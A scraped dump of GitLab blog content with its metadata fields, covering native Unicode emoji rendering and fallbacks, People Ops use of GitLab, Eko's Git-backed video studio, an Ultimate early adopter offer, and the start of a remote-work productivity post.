support\n\nWe test an emoji from each Unicode version/release and cache that locally ([`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)) in a support map to look up later whether a given emoji is supported. If the emoji isn't supported we fall back to an image or CSS sprite depending on the situation.\n\nI couldn't find any existing library or JSON document that mapped a given emoji to their respective Unicode version/release, so I created my own project that scrapes [emojipedia](https://emojipedia.org/) and assembles a JSON map, [`emoji-unicode-version`](https://www.npmjs.com/package/emoji-unicode-version) on npm.\n\nTo test whether a Unicode emoji works, we render it to a `\u003Ccanvas>` and inspect the pixels in the exact middle for any color (if it is black, then the test fails). We also have to ensure the emoji renders as a single character because some emoji are made up of multiple characters (see [ZWJ sequences and skin tone modifier sections below](#emoji-made-up-of-multiple-characters)).\n\nWhen choosing a specific emoji for each version to test, be sure to choose something with color. As an example, I initially chose ⚽ `:soccer:` in the Unicode 5.2 range but since it is a black and white emoji, it always failed so I switched to ⛵ `:sailboat:`.\n\nWe invalidate the support map whenever your user-agent changes because emoji support changes when you get a browser or OS update. We also add a manual `GL_EMOJI_VERSION` for busting the cache when we update the support check logic.\n\nYou can check out our implementation here, [`app/assets/javascripts/emoji/support/unicode_support_map.js`](https://gitlab.com/gitlab-org/gitlab-ce/blob/ee189fd511e1a2c06f05e0d40e1d0b8875151391/app/assets/javascripts/emoji/support/unicode_support_map.js), [`app/assets/javascripts/emoji/support/is_emoji_unicode_supported.js`](https://gitlab.com/gitlab-org/gitlab-ce/blob/ee189fd511e1a2c06f05e0d40e1d0b8875151391/app/assets/javascripts/emoji/support/is_emoji_unicode_supported.js)\n\n### Rendering emoji to a canvas in Internet Explorer gotchas\n\nWhen rendering emoji to a `\u003Ccanvas>`, IE11 didn't like our full font-stack and renders small black and white emoji, which are less than ideal.\n\nThe culprit is the `-apple-system` piece 😕\n\n```js\nctx.font = `${fontSize}px -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\"`;\n```\n\nBut if you simply go with the emoji part of the stack, it renders the nice colorful emoji as expected,\n\n```js\nctx.font = `${fontSize}px \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\"`;\n```\n\nFull font-stack | Small emoji font-stack\n--- | ---\n[![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/ie-canvas-full-font-stack.png)](/images/blogimages/journey-in-native-unicode-emoji/ie-canvas-full-font-stack-large.png) | [![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/ie-canvas-short-font-stack.png)](/images/blogimages/journey-in-native-unicode-emoji/ie-canvas-short-font-stack-large.png)\n\n### Unicode 1.1 emoji not rendering as colorful, fancy glyphs when using full font-stack\n\nWe also switched to using a shorter, emoji-only font-stack in CSS to get some of the Unicode 1.1 emoji to render colorfully. Read [more in the issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/29557#note_25544684).\n\nFull font-stack | Small emoji font-stack\n--- | ---\n![font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/unicode-1-1-full-font-stack.png) | ![font-family: \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/unicode-1-1-short-font-stack.png)\n\n### Render emoji on Canvas at 16px\n\nWe use `16px` font size when rendering to the `\u003Ccanvas>` because mobile Safari (iOS 9.3) will always render at 16px regardless of the font size you specify.\n\nThe `32px` pixel example below is rendering at the same size as the `16px` example. If it worked correctly, the `32px` would fill up the empty space.\n\n32px | 16px\n--- | ---\n\u003Ca href=\"/images/blogimages/journey-in-native-unicode-emoji/16px-font-size-at-32px-large.png\">\u003Cimg srcset=\"/images/blogimages/journey-in-native-unicode-emoji/16px-font-size-at-32px.png 2x\">\u003C/a> | \u003Ca href=\"/images/blogimages/journey-in-native-unicode-emoji/16px-font-size-at-16px-large.png\">\u003Cimg srcset=\"/images/blogimages/journey-in-native-unicode-emoji/16px-font-size-at-16px.png 2x\">\u003C/a>\n\n## Unicode emoji bounds and baseline positioning is different across platforms\n\nAnother issue we ran into when switching is the inconsistency in how emoji vertically align across platforms. The baseline defined in each platform font is different, which makes tweaks to center on one platform throw off another. We didn't find any good solution for perfect vertical centering and opted just to leave it for now. You can read the [full discussion here](https://gitlab.com/gitlab-org/gitlab-ce/issues/33044#note_34375144).\n\nFor an in-depth dive into font metrics (not emoji specific), see [*Deep dive CSS: font metrics, line-height and vertical-align*](http://iamvdo.me/en/blog/css-font-metrics-line-height-and-vertical-align) by Vincent De Oliveira (aka iamvdo).\n\n## Emoji fallbacks\n\nWe define optional fallbacks for images and CSS sprites directly on the element. In terms of priority, when `data-fallback-css-class` is defined on the emoji element, we opt to use the CSS sprite. We only sprite things like the award emoji menu, which lists every emoji at once and potentially needs to fall back on everything for platforms that don't support Unicode emoji (like Linux).\n\n```html\n\u003Cgl-emoji data-fallback-src=\"emoji-xxx.png\" data-fallback-css-class=\"emoji-xxx\">\n  xxx\n\u003C/gl-emoji>\n```\n\nWe use [`document.registerElement()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/registerElement) in order to hook whenever a `\u003Cgl-emoji>` is used on the page or created and test whether we need to fall back. We use the deprecated v0 web components `document.registerElement()` over the new v1 [`CustomElementRegistry.define()`](https://developer.mozilla.org/en-US/docs/Web/API/CustomElementRegistry/define) because that only works with ES2015 class syntax and in our case, Babel is transpiling everything which makes that syntax incompatible for now. It is also necessary to use a [`document.registerElement()` polyfill](https://github.com/WebReflection/document-register-element) for browsers that don't support it like Safari.\n\nWhen we fall back to a CSS sprite, we add the necessary `.emoji-icon` classes to the `\u003Cgl-emoji>` tag. These extra CSS classes hide the emoji Unicode content inside so only the background image is visible.\n\n```css\n.emoji-icon {\n  /* Hide emoji Unicode */\n  color: transparent;\n  /* Hide emoji Unicode in IE */\n  text-indent: -99em;\n  /* ... */\n}\n```\n\nYou can check out our [`\u003Cgl-emoji>` implementation here](https://gitlab.com/gitlab-org/gitlab-ce/blob/ee189fd511e1a2c06f05e0d40e1d0b8875151391/app/assets/javascripts/behaviors/gl_emoji.js).\n\n## Emoji made up of multiple characters\n\nSome emoji are composed of multiple characters, which can be tricky to work with in JavaScript. [`Array.from`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from), [`String.prototype.codePointAt()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt) are all your friends here. There is a great article, [*JavaScript has a Unicode problem*](https://mathiasbynens.be/notes/javascript-unicode) by Mathias Bynens, going into more detail.\n\n#### Zero Width Joiner (ZWJ) sequences\n\nZero Width Joiner (ZWJ) sequences are composed of multiple emoji characters joined by a ZWJ character `\\u{200D}`, `&zwj;`(non-printing character). You can read more about [ZWJ sequences here](http://emojipedia.org/emoji-zwj-sequences/).\n\n👨‍👩‍👧‍👦 `:family_mwgb:`\n```\n[...'👨‍👩‍👧‍👦']\n// [\"👨\", \"‍\", \"👩\", \"‍\", \"👧\", \"‍\", \"👦\"]\n```\n\n#### Skin tone modifier\n\nSkin tone modifiers don't need a ZWJ character to combine with another emoji. You can read more about the [skin tone modifiers here](http://emojipedia.org/modifiers/).\n\n👨🏿 `:man_tone5:`\n```\n[...'👨🏿']\n// [\"👨\", \"🏿\"]\n```\n\nI opted to test multiple skin tone modifier combos and only if all pass, consider skin tone modifiers supported at least on a basic level. There was still an outlier on macOS 10.12 where they don't have 🏇🏿 `:horse_racing_toneX:` and I added a separate test for it.\n\n## Emoji discrepancies\n\n### Flag emoji\n\nOn Windows, all `:flag_xx:` emoji are rendered as two-letter international characters instead of a colorful flag like on the Apple ecosystem.\n\n![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/flag-emoji-windows.png)\n\nOn Android 6, unknown flags are rendered as two-letter international characters.\n\n\u003Cimg srcset=\"/images/blogimages/journey-in-native-unicode-emoji/flag-emoji-android-6.png 2x\">\n\nOn Android 7, unknown flags are rendered as white flags with blue question marks on them.\n\n\u003Cimg srcset=\"/images/blogimages/journey-in-native-unicode-emoji/flag-emoji-android-7.png 2x\">\n\n### Keycap emoji on Windows\n\nKeycap (digit) emoji are a bit broken on Windows but appear to be fixed on Chrome 57+, 3️⃣4️⃣5️⃣\n\nBrowser | result\n--- | ---\nChrome 55.0.2883.87 (64-bit) ❌ | ![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/keycap-chrome-55.0.2883.87.png)\nChrome 56.0.2924.87 (64-bit) ❌ | ![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/keycap-chrome-56.0.2924.87.png)\nChromium 57.0.2984.0 (64-bit) ✅ | ![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/keycap-chrome-57.0.2984.0.png)\nChrome 58.0.2999.4 (Official Build) canary (64-bit) ✅ | ![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/keycap-chrome-58.0.2999.4.png)\n\n### Skin tone splitting from base emoji when width constrained\n\nStarting in Chrome 60+ (maybe 59.1+), the [🤼🏿 `:wrestlers_toneX:` and 🤝🏿 `:handshake_toneX:` emoji started splitting/breaking into separate pieces](https://gitlab.com/gitlab-org/gitlab-ce/issues/37654) (base emoji and skin tone) when their container is width constrained, causing overflow/wrapping.\n\nI created a [bug report on the Chromium tracker](https://bugs.chromium.org/p/chromium/issues/detail?id=764859) but it was closed a \"WontFix\" because the `wrestlers` and `handshake` emoji are no longer \"classified as Emoji_Base\" in the new International Components for Unicode (ICU) data which is used in Chrome.\n\nIt's understandable that those emoji are re-classified but they should display as two separate characters in all scenarios. The 🤼🏿 `:wrestlers_toneX:` emoji is consistently two characters now but the 🤝🏿 `handshake_toneX` still only splits when width constrained, which is pretty sketchy.\n\nCheck the comparison in these screenshots (or [demo for Chrome prior to 59.1](https://codepen.io/MadLittleMods/pen/dZMeXN)),\n\nWindows 10 | macOS\n--- | ---\n![](https://about.gitlab.com/images/blogimages/journey-in-native-unicode-emoji/skin-tone-splitting-windows-10.png) | \u003Cimg srcset=\"/images/blogimages/journey-in-native-unicode-emoji/skin-tone-splitting-macos.png 2x\">\n\n## Colliding with the object prototype `watch` function\n\nI ran into a small gotcha where some code was looking in an object map for the `watch` ⌚ key. In Firefox, it was pulling [`Object.prototype.watch()`](https://developer.mozilla.org/en-US/docs/Archive/Web/JavaScript/Object.watch) and causing havoc.\n\n```js\nconst emojiAliases = { foo: 'bar' };\n\n// Expect `undefined` but got some function\nemojiAliases['watch']\n```\n\nI fixed this code up by using the safe lookup [`Object.prototype.hasOwnProperty`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty),\n\n```js\nconst emojiAliases = { foo: 'bar' };\n\nObject.prototype.hasOwnProperty.call(emojiAliases, 'watch')\n```\n\n[`Object.prototype.watch()`](https://developer.mozilla.org/en-US/docs/Archive/Web/JavaScript/Object.watch) is now removed in Firefox 58 and the current stable release is Firefox 59.0.2 so you probably won't run into this yourself. But it's still advisable to use `Object.prototype.hasOwnProperty()` for any current/future collisions.\n\n## Things to improve\n\n### Custom emoji\n\nWe are working on adding custom emoji (with animated GIF support). You can track [this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/13931) and see our [current iteration here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/14609). It's not merged yet because we need to ensure it works with [Geo replication](https://docs.gitlab.com/ee/administration/geo/index.html.\n\n### Server-side rendered fallbacks\n\nTo speed up time to visible emoji (TTVE™ 😉) for people that have to fall back to image-based emoji, we could server-side render the fallback straight away.\n\nIn order to detect support from the server, on first page visit, we could set a cookie client-side (frontend JavaScript land) based on the unicode support map. Cookies are sent with each request and could be read on the server.\n\nWe have some layers of cache on our Markdown rendering which makes this a bit difficult to do as we would need a response for both the `true` and `false` emoji support. Or we could post-process every request and update the rendered markdown HTML accordingly.\n\n### SVG fallbacks\n\nUsing the [EmojiOne SVG](https://github.com/emojione/emojione/tree/2.2.7/assets/svg) fallbacks would be a nice step above the `.png` images currently. This would save on bandwidth and we would get nice, crisp fallback emoji.\n\nWe could even take it a step further and extract SVGs from the OS specific fonts. For older versions of Windows, we could use the Windows 10 fonts so that everything has the appropriate signature black outline/stroke.\n\nThe EmojiOne SVGs fit nicely on macOS, so nothing to really change there.\n\n### Improving performance\n\nCurrently, we have to bundle a large `digests.json` file into our JavaScript bundles to get the necessary asset digest hash information to serve fallback images.\n\nFor some quick-wins, we can remove those hashes to reduce the file size and serve the JSON payload async. There are some [more ideas in this issue](https://gitlab.com/gitlab-org/gitlab-ce/issues/39000).",[11037],{"slug":33345,"featured":6,"template":678},"journey-in-native-unicode-emoji","content:en-us:blog:journey-in-native-unicode-emoji.yml","Journey In Native Unicode Emoji","en-us/blog/journey-in-native-unicode-emoji.yml","en-us/blog/journey-in-native-unicode-emoji",{"_path":33351,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33352,"content":33358,"config":33363,"_id":33365,"_type":16,"title":33366,"_source":17,"_file":33367,"_stem":33368,"_extension":20},"/en-us/blog/people-ops-using-gitlab",{"title":33353,"description":33354,"ogTitle":33353,"ogDescription":33354,"noIndex":6,"ogImage":33355,"ogUrl":33356,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33356,"schema":33357},"GitLab People Ops: Getting drunk on our own wine","How our People Ops team uses GitLab day to day: from onboarding new GitLab team-members to keeping our handbook up to date.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678697/Blog/Hero%20Images/how-people-ops-uses-gitlab.jpg","https://about.gitlab.com/blog/people-ops-using-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab People Ops: Getting drunk on our own wine\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chloe Whitestone\"}],\n        \"datePublished\": \"2018-05-25\",\n      }",{"title":33353,"description":33354,"authors":33359,"heroImage":33355,"date":33360,"body":33361,"category":6634,"tags":33362},[24189],"2018-05-25","\nWe’ve heard people say \"[every company is a software company](https://www.forbes.com/sites/techonomy/2011/11/30/now-every-company-is-a-software-company/#5761b57cf3b1),\" but what about the people who work there? At GitLab, we [drink our own wine](/company/culture/), and that means all of our team members, in some way or another, are technical because we use GitLab ourselves. In [People Ops and recruiting](/handbook/people-group/), I use GitLab every day; just take a look at my [activity chart](https://gitlab.com/chloe)!\n\n![Chloe's GitLab Activity Chart](https://about.gitlab.com/images/blogimages/gitlab-chloe.png){: .shadow.medium.center}\n\nThese blue squares represent contributions I’ve made across the GitLab project (and the white ones prove that work/life balance exists!).\n\n## Getting started with issues\n\nA good portion of those blue squares are dedicated towards issues, specifically pre-established template issues, such as [the onboarding issue](https://gitlab.com/gitlab-com/people-group/employment-templates/-/blob/main/.gitlab/issue_templates/onboarding.md). This is the \"first look\" our new hires have into GitLab and our workflow, and it’s a fantastic way to get them using issues, and thus GitLab the product, right away. One of the tasks in this issue is \"add yourself to the [team page](/company/team/),\" so within the first week at GitLab, all team members submit a merge request, even if they’ve never coded before. Another task is to \"make an improvement to the handbook,\" which both encourages new hires to submit another merge request and to explore our handbook and adopt our ethos of \"everyone can contribute.\"\n\n>within the first week at GitLab, all team members submit a merge request, even if they’ve never coded before\n\nOther issue templates we have and use regularly are [offboarding](https://gitlab.com/gitlab-com/people-group/employment-templates/-/blob/main/.gitlab/issue_templates/offboarding.md) and [opening new vacancies](https://gitlab.com/gitlab-com/people-ops/vacancy/blob/master/.gitlab/issue_templates/vacancy.md). People Ops uses these issue templates to maintain version control, enable everyone to contribute, and allow us to continually iterate and improve on how we onboard our new hires, all of which promote the GitLab [values](https://handbook.gitlab.com/handbook/values/).\n\nWe constantly iterate on all of our issue templates, predominantly the onboarding issue template mentioned above. You can view its [history](https://gitlab.com/gitlab-com/people-ops/employment/commits/master/.gitlab/issue_templates/onboarding.md) and see how everyone at the company iterates on our onboarding issue – not just People Ops, but also new hires and seasoned GitLab team-members. You can also view some of the ideas we’re working through in the [\"Overhaul onboarding for Ta-NEW-kis\" issue](https://gitlab.com/gitlab-com/people-ops/General/issues/105), and feel free to contribute your own ideas!\n\n## Transparent by default\n\nPeople Ops and HR departments are not typically considered transparent at most companies, but here at GitLab we try our best to be as transparent as possible. The only times we keep things confidential are when we are legally required to, or to protect someone’s privacy. Everything else is fair game! Some great examples in our handbook are our [identity data](/company/culture/inclusion/identity-data/), [internal feedback](/company/culture/internal-feedback/), and the questions we ask in our [screening calls with candidates](/handbook/hiring/interviewing/#screening-call). We make it a point to keep this data, as well as other handbook pages dedicated to People Ops and recruiting, up to date and accurate.\n\n## Everyone can contribute\n\nWe encourage our team members and the wider GitLab community to contribute and give us their ideas because they will have a fresh look and unique perspective, which can only improve our own understanding.\n\nI remember when I joined GitLab a year ago, I interviewed with [Sid Sijbrandij](/company/team/#sytses), our CEO, and he asked me what I wanted to accomplish within my first month at GitLab. I told him I wanted to become proficient in Git so that I could properly contribute, and he was surprised! But I was steadfast, and within my first two weeks, I’d already started contributing via my local machine. Sure, I’m not a developer by any means, but I use Git every day, have figured out quite a few things both on my own, and with the help of our #git-help Slack channel, was even granted merge powers last year! Here at GitLab, everyone can contribute, no matter what your background is.\n\nPhoto by [Maxime Le Conte des Floris](https://unsplash.com/) on Unsplash\n{: .note}\n",[676,2368,1444],{"slug":33364,"featured":6,"template":678},"people-ops-using-gitlab","content:en-us:blog:people-ops-using-gitlab.yml","People Ops Using Gitlab","en-us/blog/people-ops-using-gitlab.yml","en-us/blog/people-ops-using-gitlab",{"_path":33370,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33371,"content":33376,"config":33383,"_id":33385,"_type":16,"title":33386,"_source":17,"_file":33387,"_stem":33388,"_extension":20},"/en-us/blog/git-not-just-for-developers",{"title":33372,"description":33373,"ogTitle":33372,"ogDescription":33373,"noIndex":6,"ogImage":29927,"ogUrl":33374,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33374,"schema":33375},"Git: Not just for developers","How one company helps video editors, developers, and project managers to collaborate on interactive video, by leveraging the power of open source.","https://about.gitlab.com/blog/git-not-just-for-developers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git: Not just for developers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Opher Vishnia\"},{\"@type\":\"Person\",\"name\":\"Roy Taragan\"}],\n        \"datePublished\": \"2018-05-24\",\n      }",{"title":33372,"description":33373,"authors":33377,"heroImage":29927,"date":33380,"body":33381,"category":813,"tags":33382},[33378,33379],"Opher Vishnia","Roy Taragan","2018-05-24","\nIn this post I’d like to tell you about how, at [Eko](https://helloeko.com/), we’re using GitLab CE to allow professionals from different disciplines, such as video editors, designers, and software engineers, to collaborate on creating and publishing Interactive Video projects using the Eko platform.\n\nEko is a unique company. I know practically every company says that about itself, but for us that’s doubly true in that both our platform as well as our users, and our users of users, take part and actively contribute to creative, experimental ideas and technology. At the core of what we do is an exciting new medium called Interactive Video, which enhances storytelling by bridging the gap between the creator and the viewer. The projects themselves are somewhere between a TV show and a video game. These embody a range of creativity - from the [official music video for Bob Dylan’s “Like a Rolling Stone,”](https://helloeko.com/mindblown/beats-and-rhymes?publisherID=gitlab) through choose-your-own-adventure style comedies and high-caliber movie studio productions like #WarGames.\n\n[![Bob Dylan's Like a Rolling Stone video](https://about.gitlab.com/images/blogimages/eko_mind_blown.png)](https://helloeko.com/mindblown/beats-and-rhymes?publisherID=gitlab)\n\nOur development body creates all the technology for both viewing and authoring these experiences, which are created by small indies as well as big studios and production houses. At the end of the day though, all of these projects, regardless of whether they’re playing on desktop, mobile, or the Xbox, are built with web technologies and run in a browser. Each project is served as a web app, consisting of HTML, JavaScript and CSS files, as well as its video, audio and image assets.\n\nTo create these projects, Eko offers a web-based, drag-and-drop interface called Eko Studio. This software provides project creators with an easy interface for uploading and assembling video, connecting the different videos to each other, creating GUI to define the underlying creativity and finally publishing the finished product.\n\n![Eko Studio](https://about.gitlab.com/images/blogimages/eko-guest-post/eko-studio.png)\n\nIn cases where extra logic and functionality is required, such that isn’t yet covered by the set of features in Eko Studio, we offer the Eko SDK, which enables developers to extend the Studio’s functionality by writing their own custom JS and CSS code.\n\nThe interesting thing about the creation process of our Interactive Video projects is because of their scope and multi-disciplinary nature, different people with different roles all work on the same project at the same time. For example, a video editor might upload a new scene, a project manager would change the SEO copy and a developer might implement new GUI or functionality. One of the challenges we faced at Eko is that all of this needs to be synchronised and shared by all. The experience needs to be fluid and cohesive for all types of users, regardless of their role.\n\n![Eko Studio commits](https://about.gitlab.com/images/blogimages/eko-guest-post/eko-studio-commits.png)\n\n## Using open source to enable collaboration\n\nSo what type of software allows for multiple people to work on the same project without stepping on each other’s toes? Git, of course! With that in mind we set out to find how can we use Git as a backend that could serve our creators, developers and non-developers alike.\n\nIn Eko Studio, users can activate the feature that allows extending a project with code. Behind the scenes, the studio then employs GitLab’s API to create a new repository, generates all the code reflecting the current state of the project, and pushes it as the *initial commit*. From this point forward, each time a preview or published version of the project is generated, the process will begin by first pulling the latest version of the code from the repo. Using GitLab’s webhook for push events combined with Firebase, any time a commit is pushed to the repository, the user in Eko Studio is notified and the UI is updated accordingly. The user in Eko Studio can see all the commits (also fetched using the GitLab API) listed as versions, and can revert to an earlier version.\n\n>The less tech-savvy users aren’t even fully aware that by editing the project or adding content they are in fact publishing commits in the project repo\n\nThe cool thing here though, is that the Eko Studio itself acts as a Git client behind the scenes. The less tech-savvy users aren’t even fully aware that by editing the project or adding content they are in fact publishing commits in the project repo. The studio interface makes this completely transparent for them. Changes to the project made in Eko Studio are translated into Git commits in the project repo. Over on the dev side though, the software engineers use the Git interface itself using their favorite code editor and Git client.\n\n![Eko Studio code panel](https://about.gitlab.com/images/blogimages/eko-guest-post/eko-studio-code-panel.png)\n\nThe fact that GitLab is open source enabled us to custom tailor a solution for our users with minimal changes, leveraging APIs and webhooks to connect our own infrastructure. The readily available AMI meant that we can easily spool up our own GitLab CE instances without a complicated setup process. While our use case is very specific, the fact we’ve been able to use GitLab CE with minimal effort to implement our platform and tools for creating Interactive Video definitely highlights the flexibility and capabilities of GitLab!\n",[1067,2368,815],{"slug":33384,"featured":6,"template":678},"git-not-just-for-developers","content:en-us:blog:git-not-just-for-developers.yml","Git Not Just For Developers","en-us/blog/git-not-just-for-developers.yml","en-us/blog/git-not-just-for-developers",{"_path":33390,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33391,"content":33396,"config":33401,"_id":33403,"_type":16,"title":33404,"_source":17,"_file":33405,"_stem":33406,"_extension":20},"/en-us/blog/gitlab-ultimate-early-adopter-program",{"title":33392,"description":33393,"ogTitle":33392,"ogDescription":33393,"noIndex":6,"ogImage":32003,"ogUrl":33394,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33394,"schema":33395},"Join the GitLab Ultimate Early Adopter program by June 30","GitLab Ultimate brings together strategy, execution, security, and speed for the most comprehensive DevOps experience.","https://about.gitlab.com/blog/gitlab-ultimate-early-adopter-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join the GitLab Ultimate Early Adopter program by June 30\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Erica Lindberg\"}],\n        \"datePublished\": \"2018-05-23\",\n      }",{"title":33392,"description":33393,"authors":33397,"heroImage":32003,"date":33398,"body":33399,"category":299,"tags":33400},[28961],"2018-05-23","\n\nFast feedback is key to continuously delivering great software. We are looking for innovators to  take part in our Early Adopter program and help us understand how we can make [GitLab Ultimate](/pricing/) the best experience imaginable.\n\nBringing together strategy, execution, security, and speed, Ultimate is the most comprehensive GitLab experience. We shipped GitLab Ultimate last November and have been working hard to rapidly improve it. With Agile planning features such as [Epics](https://docs.gitlab.com/ee/user/group/epics/) and [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/index.html#doc-nav), and automated security features like [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/#doc-nav), [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#doc-nav), and [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/#doc-nav), Ultimate is designed to help you align strategy with execution so you can bring big ideas to reality without compromising security.\n\n## What is the GitLab Ultimate Early Adopter program?\n\nThe GitLab Ultimate Early Adopter program is a discounted offering of GitLab Ultimate which gives you first access to all existing and new Ultimate features and the opportunity to give direct feedback and influence the [roadmap](/direction/#ultimate).\n\nWe’re looking for ambitious, security-conscious people who want to improve how software gets built in their team, business unit, or organization. And we're looking for opinionated people to test drive GitLab Ultimate and let us know how we can best help you solve your greatest collaboration, security, and efficiency challenges.\n\n### How to sign up\n\nThere are two ways to take advantage of the early adopter pricing.\n\n1. [Purchase GitLab Ultimate](/sales/) before June 30th, or\n1. [Start a free trial](/free-trial/) of GitLab Ultimate before June 15 to reserve your spot in the Early Adopter program until September 15th\n\nThe second option is designed for people at organizations that need more time to evaluate the plan before making a purchase decision. In either case, once you’ve signed up, make sure to give us feedback on what you like, and what could better by [opening an issue](https://gitlab.com/gitlab-org/gitlab-ee/issues) in the [GitLab Enterprise Edition project](https://gitlab.com/gitlab-org/gitlab-ee). You can simply give us feedback for improvement, or choose a template from the dropdown to report a bug or suggest a feature proposal.\n\n**To be eligible for the program, you must purchase GitLab Ultimate before June 30 or start a free trial of GitLab Ultimate before June 15 to reserve your spot in the Early Adopter program until September 15th.**\n{: .alert .alert-gitlab-purple}\n",[736],{"slug":33402,"featured":6,"template":678},"gitlab-ultimate-early-adopter-program","content:en-us:blog:gitlab-ultimate-early-adopter-program.yml","Gitlab Ultimate Early Adopter Program","en-us/blog/gitlab-ultimate-early-adopter-program.yml","en-us/blog/gitlab-ultimate-early-adopter-program",{"_path":33408,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33409,"content":33414,"config":33419,"_id":33421,"_type":16,"title":33422,"_source":17,"_file":33423,"_stem":33424,"_extension":20},"/en-us/blog/eliminating-distractions-and-getting-things-done",{"title":33410,"description":33411,"ogTitle":33410,"ogDescription":33411,"noIndex":6,"ogImage":25895,"ogUrl":33412,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33412,"schema":33413},"9 Tips for eliminating remote work distractions and being more productive","Working remotely comes with great power and great responsibility. Here are a few tips on being efficient and productive.","https://about.gitlab.com/blog/eliminating-distractions-and-getting-things-done","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"9 Tips for eliminating remote work distractions and being more productive\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2018-05-17\",\n      }",{"title":33410,"description":33411,"authors":33415,"heroImage":25895,"date":33416,"body":33417,"category":6634,"tags":33418},[18742],"2018-05-17","\nI lived in London for the past three years and worked for two companies in this time: a late-stage startup and an enterprise. Both are trying to emulate the early-stage startup working environment by designing an open-plan office. It sounds great, but if it’s not done right, it isn’t.\n\n![Open Plan Office](https://about.gitlab.com/images/blogimages/gtd-open-plan-office.jpg)\n\nAt one place, the office was huge. Around 100 people sitting in rows of desks, a kitchen in the centre and a pool table just a few feet from where I was sitting. I remember how I got so used to getting distracted that it turned into an addiction. When nobody distracted me, I found a way to distract myself. I found it hard to start working most of the time and I ended up reacting to everyone else’s priorities but never had time to be proactive and work on things that *I deemed important*.\n\n## Going back to working remotely\n\nI had worked remotely before and going back gives me better control of my working environment. There aren’t a lot of other people in the same room and there are no loud noises, flashing email or chat notifications on top of everything if I don’t want them.\n\nAt GitLab especially, where [asynchronous work is encouraged](/handbook/communication/), it’s much easier to control your schedule and decide when you’ll have a few hours dedicated to focus on meaningful work. When working remotely, your colleagues mostly reach out over email, chat or GitLab itself - all easy to turn off for a while. And that’s all you really need! [Cal Newport](http://calnewport.com/) researched this topic and wrote a really cool book about it called “Deep Work.” In it, he argues that we only need a few hours of deep and undisturbed focus every day to get meaningful work done.\n\n>We only need a few hours of deep and undisturbed focus every day to get meaningful work done\n\nThink about it. When was the last time you were completely undisturbed and deeply focused for more than a couple of hours in a day? Instead, we crave distractions like chat sound notifications and red circles on top of the app icons. The only way to regain focus is to consciously and systematically cut our dependence on these distractions.\n\n## Tips for regaining control and getting things done\n\nHere are a few tips that I picked up from others or learned from my own mistakes and applied to my life. I think they’re especially useful for people working remotely.\n\n### 1. Establish a routine\n\nWhen it comes to productivity, nothing beats a well-established routine: \n\n- Get up early and exercise to get your body going\n- Plan for your day ahead\n- Have a few hours of “focus time”\n- Plan for the next day\n- Wrap up work and disconnect\n- Go to sleep early\n- Repeat\n\nIt sounds kinda boring, I know. But establishing a routine like that will free up time for the fun things you want to do. Not every day needs to have the same routine either. Just make sure you plan your days out instead of leaving all your time up to others for grabs.\n\nAfter a while, your routine will turn into a habit, so you won’t need to spend willpower and energy on deciding when to start working, have lunch etc., you’ll simply start at the designated time. And you’ll be able to spend that extra attention and energy on work instead of deciding.\n\n![MITs](https://about.gitlab.com/images/blogimages/gtd-MIT-notepad.jpg)\n\n### 2. Write down your MITs\n\nMIT stands for “Most Important Thing.” The idea is simple: write down a few important things that you want to do that day. I write these down in a small notepad the first thing in the morning. The key here is to have a visual cue in front of us that reminds us of the things we want to do and keeps us focused.\n\n### 3. Book out your “focus time”\n\nEach day, try to find a slot of 3-4 hours and reserve them for your “focus time.” Try to spend those hours completely undisturbed and focused, with short breaks of course.\n\n### 4. Turn notifications 